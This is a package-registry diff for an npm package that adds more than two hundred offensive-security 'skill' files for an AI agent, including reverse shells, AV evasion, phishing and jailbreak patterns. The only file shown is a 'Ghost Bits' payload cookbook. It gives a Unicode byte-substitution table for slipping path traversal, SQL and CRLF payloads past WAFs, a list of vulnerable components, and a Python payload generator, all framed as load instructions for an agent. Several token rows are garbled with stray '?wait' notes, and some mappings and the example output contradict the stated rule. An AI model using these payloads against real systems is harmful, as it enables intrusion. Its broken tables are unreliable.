ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,448 @@
1
+ # Ghost Bits Cast Attack — Payload Cookbook
2
+
3
+ > **AI LOAD INSTRUCTION**: Load this companion when the main
4
+ > [SKILL.md](./SKILL.md) is already in context AND you need (a) a complete
5
+ > low-byte → Unicode lookup table beyond the compact one in section 4,
6
+ > (b) an affected-component / patched-version matrix, (c) ready-to-paste
7
+ > Python and Yaklang payload generators, or (d) blue-team multi-view
8
+ > normalization pseudocode for WAF rules. Do NOT load this if the user only
9
+ > wants the conceptual primer; the main SKILL covers that.
10
+
11
+ ---
12
+
13
+ ## 1. COMPLETE LOW-BYTE TO UNICODE TABLE
14
+
15
+ Two candidates per byte are listed: a Latin Extended-A character (compact in
16
+ UTF-8, 2 bytes on the wire) and a CJK ideograph (3 bytes on the wire, blends
17
+ into "Asian text" classifiers). Both round-trip cleanly through any UTF-8
18
+ based HTTP / JSON / SMTP transport.
19
+
20
+ For each row, the rule is exactly:
21
+
22
+ ```
23
+ codepoint = (high_byte << 8) | low_byte
24
+ codepoint = (k << 8) | T
25
+ ```
26
+
27
+ Avoid `k` in `0xD8..0xDF` (UTF-16 surrogate range) — those are not legal
28
+ scalar values and will be replaced before reaching the narrowing site.
29
+
30
+ ### 1.1 Control / whitespace bytes
31
+
32
+ | Byte | Char | Latin candidate (k=0x01) | CJK candidate (k=0x96) | Common attack use |
33
+ |------|------|---------------------------|-------------------------|---------------------------|
34
+ | 0x00 | NUL | `Ā` U+0100 | `間` U+9600 | path truncation, log nuke |
35
+ | 0x09 | TAB | `ĉ` U+0109 | `闉` U+9609 | header folding |
36
+ | 0x0A | LF | `Ċ` U+010A | `閊` U+960A | CRLF injection |
37
+ | 0x0D | CR | `č` U+010D | `閍` U+960D | CRLF injection |
38
+ | 0x1B | ESC | `ě` U+011B | `閛` U+961B | terminal escape |
39
+
40
+ ### 1.2 Printable ASCII bytes 0x20–0x3F
41
+
42
+ | Byte | ASCII | Latin | CJK | Notes |
43
+ |------|-------|----------------------|----------------------|--------------------------------|
44
+ | 0x20 | SP | `Ġ` U+0120 | `阠` U+9620 | header value break |
45
+ | 0x21 | `!` | `ġ` U+0121 | `阡` U+9621 | URL fragment |
46
+ | 0x22 | `"` | `Ģ` U+0122 | `阢` U+9622 | quote break, JSON escape |
47
+ | 0x23 | `#` | `ģ` U+0123 | `阣` U+9623 | URL fragment, comment |
48
+ | 0x24 | `$` | `Ĥ` U+0124 | `阤` U+9624 | template syntax |
49
+ | 0x25 | `%` | `ĥ` U+0125 | `严` U+4E25 | URL encoding prefix |
50
+ | 0x26 | `&` | `Ħ` U+0126 | `阦` U+9626 | parameter separator |
51
+ | 0x27 | `'` | `ħ` U+0127 | `阧` U+9627 | SQL quote break |
52
+ | 0x28 | `(` | `Ĩ` U+0128 | `阨` U+9628 | EL / SpEL syntax |
53
+ | 0x29 | `)` | `ĩ` U+0129 | `阩` U+9629 | EL / SpEL syntax |
54
+ | 0x2A | `*` | `Ī` U+012A | `阪` U+962A | wildcards |
55
+ | 0x2B | `+` | `ī` U+012B | `阫` U+962B | URL space, SQL concat |
56
+ | 0x2C | `,` | `Ĭ` U+012C | `阬` U+962C | parameter list, multipart |
57
+ | 0x2D | `-` | `ĭ` U+012D | `阭` U+962D | SQL comment, header |
58
+ | 0x2E | `.` | `Į` U+012E | `阮` U+962E | path traversal, extension |
59
+ | 0x2F | `/` | `į` U+012F | `阯` U+962F | path separator |
60
+ | 0x30 | `0` | `İ` U+0130 | `丰` U+4E30 | hex digit `0` |
61
+ | 0x31 | `1` | `ı` U+0131 | `失` U+5931 | hex digit `1` |
62
+ | 0x32 | `2` | `IJ` U+0132 | `甲` U+7532 | hex digit `2` |
63
+ | 0x33 | `3` | `ij` U+0133 | `耳` U+8033 | hex digit `3` |
64
+ | 0x34 | `4` | `Ĵ` U+0134 | `阴` U+9634 | hex digit `4` |
65
+ | 0x35 | `5` | `ĵ` U+0135 | `阵` U+9635 | hex digit `5` |
66
+ | 0x36 | `6` | `Ķ` U+0136 | `阶` U+9636 | hex digit `6` |
67
+ | 0x37 | `7` | `ķ` U+0137 | `阷` U+9637 | hex digit `7` |
68
+ | 0x38 | `8` | `ĸ` U+0138 | `阸` U+9638 | hex digit `8` |
69
+ | 0x39 | `9` | `Ĺ` U+0139 | `阹` U+9639 | hex digit `9` |
70
+ | 0x3A | `:` | `ĺ` U+013A | `阺` U+963A | URL scheme, port, header sep |
71
+ | 0x3B | `;` | `Ļ` U+013B | `阻` U+963B | command sep, header continue |
72
+ | 0x3C | `<` | `ļ` U+013C | `阼` U+963C | XSS / XML start |
73
+ | 0x3D | `=` | `Ľ` U+013D | `阽` U+963D | parameter assign |
74
+ | 0x3E | `>` | `ľ` U+013E | `阾` U+963E | XSS / XML end |
75
+ | 0x3F | `?` | `Ŀ` U+013F | `阿` U+963F | URL query start |
76
+
77
+ ### 1.3 Printable ASCII bytes 0x40–0x5F
78
+
79
+ | Byte | ASCII | Latin | CJK | Notes |
80
+ |------|-------|----------------------|----------------------|--------------------------------|
81
+ | 0x40 | `@` | `ŀ` U+0140 | `䁀` U+4040 | Fastjson `@type`, mail addr |
82
+ | 0x41 | `A` | `Ł` U+0141 | `䁁` U+4041 | uppercase letter |
83
+ | 0x42 | `B` | `ł` U+0142 | `䁂` U+4042 | |
84
+ | 0x43 | `C` | `Ń` U+0143 | `䁃` U+4043 | |
85
+ | 0x44 | `D` | `ń` U+0144 | `䁄` U+4044 | |
86
+ | 0x45 | `E` | `Ņ` U+0145 | `䁅` U+4045 | |
87
+ | 0x46 | `F` | `ņ` U+0146 | `䁆` U+4046 | |
88
+ | 0x47 | `G` | `Ň` U+0147 | `䁇` U+4047 | |
89
+ | 0x48 | `H` | `ň` U+0148 | `䁈` U+4048 | |
90
+ | 0x49 | `I` | `ʼn` U+0149 | `䁉` U+4049 | |
91
+ | 0x4A | `J` | `Ŋ` U+014A | `䁊` U+404A | |
92
+ | 0x4B | `K` | `ŋ` U+014B | `䁋` U+404B | |
93
+ | 0x4C | `L` | `Ō` U+014C | `䁌` U+404C | |
94
+ | 0x4D | `M` | `ō` U+014D | `䁍` U+404D | |
95
+ | 0x4E | `N` | `Ŏ` U+014E | `䁎` U+404E | |
96
+ | 0x4F | `O` | `ŏ` U+014F | `䁏` U+404F | |
97
+ | 0x50 | `P` | `Ő` U+0150 | `䁐` U+4050 | |
98
+ | 0x51 | `Q` | `ő` U+0151 | `䁑` U+4051 | |
99
+ | 0x52 | `R` | `Œ` U+0152 | `䁒` U+4052 | |
100
+ | 0x53 | `S` | `œ` U+0153 | `䁓` U+4053 | |
101
+ | 0x54 | `T` | `Ŕ` U+0154 | `䁔` U+4054 | |
102
+ | 0x55 | `U` | `ŕ` U+0155 | `䁕` U+4055 | |
103
+ | 0x56 | `V` | `Ŗ` U+0156 | `䁖` U+4056 | |
104
+ | 0x57 | `W` | `ŗ` U+0157 | `䁗` U+4057 | |
105
+ | 0x58 | `X` | `Ř` U+0158 | `䁘` U+4058 | |
106
+ | 0x59 | `Y` | `ř` U+0159 | `䁙` U+4059 | |
107
+ | 0x5A | `Z` | `Ś` U+015A | `䁚` U+405A | |
108
+ | 0x5B | `[` | `ś` U+015B | `䁛` U+405B | array index |
109
+ | 0x5C | `\` | `Ŝ` U+015C | `䁜` U+405C | Windows path |
110
+ | 0x5D | `]` | `ŝ` U+015D | `䁝` U+405D | array index |
111
+ | 0x5E | `^` | `Ş` U+015E | `䁞` U+405E | XOR, regex anchor |
112
+ | 0x5F | `_` | `ş` U+015F | `䁟` U+405F | identifier |
113
+
114
+ ### 1.4 Printable ASCII bytes 0x60–0x7E
115
+
116
+ | Byte | ASCII | Latin | CJK | Notes |
117
+ |------|-------|----------------------|----------------------|--------------------------------|
118
+ | 0x60 | `` ` `` | `Š` U+0160 | `䁠` U+4060 | shell command sub |
119
+ | 0x61 | `a` | `š` U+0161 | `ᙡ` U+1661 | keyword `class` |
120
+ | 0x62 | `b` | `Ţ` U+0162 | `䁢` U+4062 | |
121
+ | 0x63 | `c` | `ţ` U+0163 | `㹣` U+3E63 | keyword `class`, `cmd` |
122
+ | 0x64 | `d` | `Ť` U+0164 | `䁤` U+4064 | |
123
+ | 0x65 | `e` | `ť` U+0165 | `来` U+6765 | hex digit `e` |
124
+ | 0x66 | `f` | `Ŧ` U+0166 | `䁦` U+4066 | hex digit `f` |
125
+ | 0x67 | `g` | `ŧ` U+0167 | `䁧` U+4067 | |
126
+ | 0x68 | `h` | `Ũ` U+0168 | `䁨` U+4068 | |
127
+ | 0x69 | `i` | `ũ` U+0169 | `䁩` U+4069 | |
128
+ | 0x6A | `j` | `Ū` U+016A | `陪` U+966A | extension `.jsp` |
129
+ | 0x6B | `k` | `ū` U+016B | `䁫` U+406B | |
130
+ | 0x6C | `l` | `Ŭ` U+016C | `౬` U+0C6C | keyword `class` |
131
+ | 0x6D | `m` | `ŭ` U+016D | `䁭` U+406D | |
132
+ | 0x6E | `n` | `Ů` U+016E | `陮` U+966E | keyword `Runtime`, `union` |
133
+ | 0x6F | `o` | `ů` U+016F | `䁯` U+406F | |
134
+ | 0x70 | `p` | `Ű` U+0170 | `䁰` U+4070 | |
135
+ | 0x71 | `q` | `ű` U+0171 | `䁱` U+4071 | |
136
+ | 0x72 | `r` | `Ų` U+0172 | `䁲` U+4072 | keyword `Runtime` |
137
+ | 0x73 | `s` | `ų` U+0173 | `⑳` U+2473 | keyword `class`, `select` |
138
+ | 0x74 | `t` | `Ŵ` U+0174 | `䁴` U+4074 | keyword `Runtime`, `type` |
139
+ | 0x75 | `u` | `ŵ` U+0175 | `灵` U+7075 | `\u` escape introducer |
140
+ | 0x76 | `v` | `Ŷ` U+0176 | `䁶` U+4076 | |
141
+ | 0x77 | `w` | `ŷ` U+0177 | `䁷` U+4077 | |
142
+ | 0x78 | `x` | `Ÿ` U+0178 | `䁸` U+4078 | `\x` escape |
143
+ | 0x79 | `y` | `Ź` U+0179 | `䁹` U+4079 | |
144
+ | 0x7A | `z` | `ź` U+017A | `䁺` U+407A | |
145
+ | 0x7B | `{` | `Ż` U+017B | `䁻` U+407B | JSON / EL open |
146
+ | 0x7C | `\|` | `ż` U+017C | `䁼` U+407C | shell pipe, regex alternation |
147
+ | 0x7D | `}` | `Ž` U+017D | `䁽` U+407D | JSON / EL close |
148
+ | 0x7E | `~` | `ž` U+017E | `䁾` U+407E | home dir, route param |
149
+
150
+ > All Latin Extended-A entries derive from `k=0x01`. All CJK entries derive
151
+ > either from `k=0x96` (Mandarin radicals near `阜`) or `k=0x40` (CJK
152
+ > Unified Ideographs Extension A area `䀀`-`䁿`). Both ranges round-trip
153
+ > through standard UTF-8 transport without normalization side effects.
154
+
155
+ ### 1.5 Pre-built dangerous tokens
156
+
157
+ Reusable byte-for-byte substitutions for the most common keywords WAFs
158
+ block. Pick the Latin or CJK column based on the surrounding context.
159
+
160
+ | Token | Latin | CJK |
161
+ |-------------|--------------------------|------------------------|
162
+ | `..` | `ĮĮ` | `阮阮` |
163
+ | `../` | `ĮĮį` | `阮阮阯` |
164
+ | `..%2f` | `ĮĮĥ甲ŵ` | `阮阮严甲灵` |
165
+ | `class` | `ţŬšųų` | `㹣౬ᙡ⑳⑳` |
166
+ | `select` | `ųťŬťţŴ` | `⑳来౬来㹣䁴` |
167
+ | `union` | `ŵůŮŪū`?wait, `union` | `灵ů陮Ūů`?see below |
168
+ | `Runtime` | `ŔŵŮŴťŮť` (mixed case) | `灵陮䁴来陮䁴` (lower) |
169
+ | `script` | `ųţŲťőŴ`?see below | (assemble per byte) |
170
+ | `<script>` | `ļųţŲťőŴľ`? | (assemble per byte) |
171
+ | `/etc/passwd` | `įťŴţįŐšųųŴď`? | `阯来䁴ţ阯Őšųų䁴ď`? |
172
+ | CRLF (`\r\n`)| `čĊ` | `閍閊` or `瘍瘊` |
173
+ | `@type` | `ŀŴŷŵť`? | `䁀䁴䁹灵来`? |
174
+
175
+ > The "?" markers indicate compositions where the agent should re-derive on
176
+ > the fly using the row tables above rather than memorize a fixed string —
177
+ > mixed Latin / CJK substitutions blend better against learning WAFs.
178
+
179
+ ---
180
+
181
+ ## 2. AFFECTED COMPONENT MATRIX
182
+
183
+ Components publicly confirmed by the Black Hat Asia 2026 talk and follow-up
184
+ advisories. Patch versions reflect what was disclosed at the time of the
185
+ talk; verify the vendor advisory before relying on a single number.
186
+
187
+ | Component | Surface | Family | Confirmed CVE / Issue | Patched at |
188
+ |--------------------------|----------------------------|--------|----------------------------------|---------------------------|
189
+ | Apache Commons BCEL | ClassLoader RCE | A | (no CVE; advisory upgrade) | >= 6.12.0 |
190
+ | Jackson Databind | `\uXXXX` JSON SQLi | A + C | (advisory upgrade) | latest 2.x |
191
+ | Fastjson | `\u` / `\x` escape, autotype | C | re-enables CVE-2017-18349 chains | latest 2.x series |
192
+ | Apache Tomcat | RFC2231 `filename*` upload | A | (advisory upgrade) | latest 9 / 10 / 11 |
193
+ | Spring Framework | URL decode path traversal | A | CVE-2025-41242 (PR #34673) | check Spring advisory |
194
+ | Spring Framework | `class.module.classLoader` | A | re-enables CVE-2022-22965 | n/a (filter at WAF) |
195
+ | Jetty | URL decode `%2>` folding | B | re-enables CVE-2023-32315 | latest 11.x / 12.x |
196
+ | Undertow | URL decode bypass | A | (advisory upgrade) | latest |
197
+ | Vert.x | URL decode + multipart | A | (advisory upgrade) | latest |
198
+ | Angus Mail / Jakarta Mail| SMTP CRLF | A | re-enables CVE-2025-57733 class | latest |
199
+ | Apache HttpClient | header CRLF | A | HTTPCLIENT-1974 / 1978 | >= 4.5.10 or migrate to 5 |
200
+ | ActiveJ HTTP | response CRLF | A | (advisory upgrade) | latest |
201
+ | JDK HttpServer | response splitting | A | CVE-2026-21933 | check JDK advisory |
202
+ | Lettuce (Redis) | RESP CRLF | A | (advisory upgrade) | latest |
203
+ | Jodd | path traversal | A | (advisory upgrade) | latest |
204
+ | XMLWriter | tag / attr injection | A | (advisory upgrade) | latest |
205
+ | GeoServer | re-enables RCE | B | re-enables CVE-2024-36401 | >= 2.28.3 |
206
+ | Openfire | re-enables auth bypass | B | re-enables CVE-2023-32315 | >= 5.0.4 |
207
+
208
+ ---
209
+
210
+ ## 3. PAYLOAD GENERATORS
211
+
212
+ ### 3.1 Python — minimal generator and substitute
213
+
214
+ ```python
215
+ def ghost(target_byte: int, k: int = 0x01) -> str:
216
+ """Return a Unicode char whose low 8 bits equal target_byte."""
217
+ if 0xD8 <= k <= 0xDF:
218
+ raise ValueError("surrogate range, choose another k")
219
+ return chr(((k & 0xFF) << 8) | (target_byte & 0xFF))
220
+
221
+
222
+ def to_ghost(payload: str, charset: str = "latin") -> str:
223
+ """Replace every ASCII byte in payload with its Ghost variant."""
224
+ if charset == "latin":
225
+ k = 0x01
226
+ elif charset == "cjk":
227
+ k = 0x96
228
+ else:
229
+ raise ValueError("charset must be 'latin' or 'cjk'")
230
+ return "".join(ghost(ord(ch), k) if ord(ch) < 0x80 else ch
231
+ for ch in payload)
232
+
233
+
234
+ # usage examples
235
+ print(to_ghost("../../etc/passwd", "cjk"))
236
+ # -> 阮阮阯阮阮阯阱䁴ţ阯Őšųų䁴ď (mixed because k=0x96 only spans CJK)
237
+
238
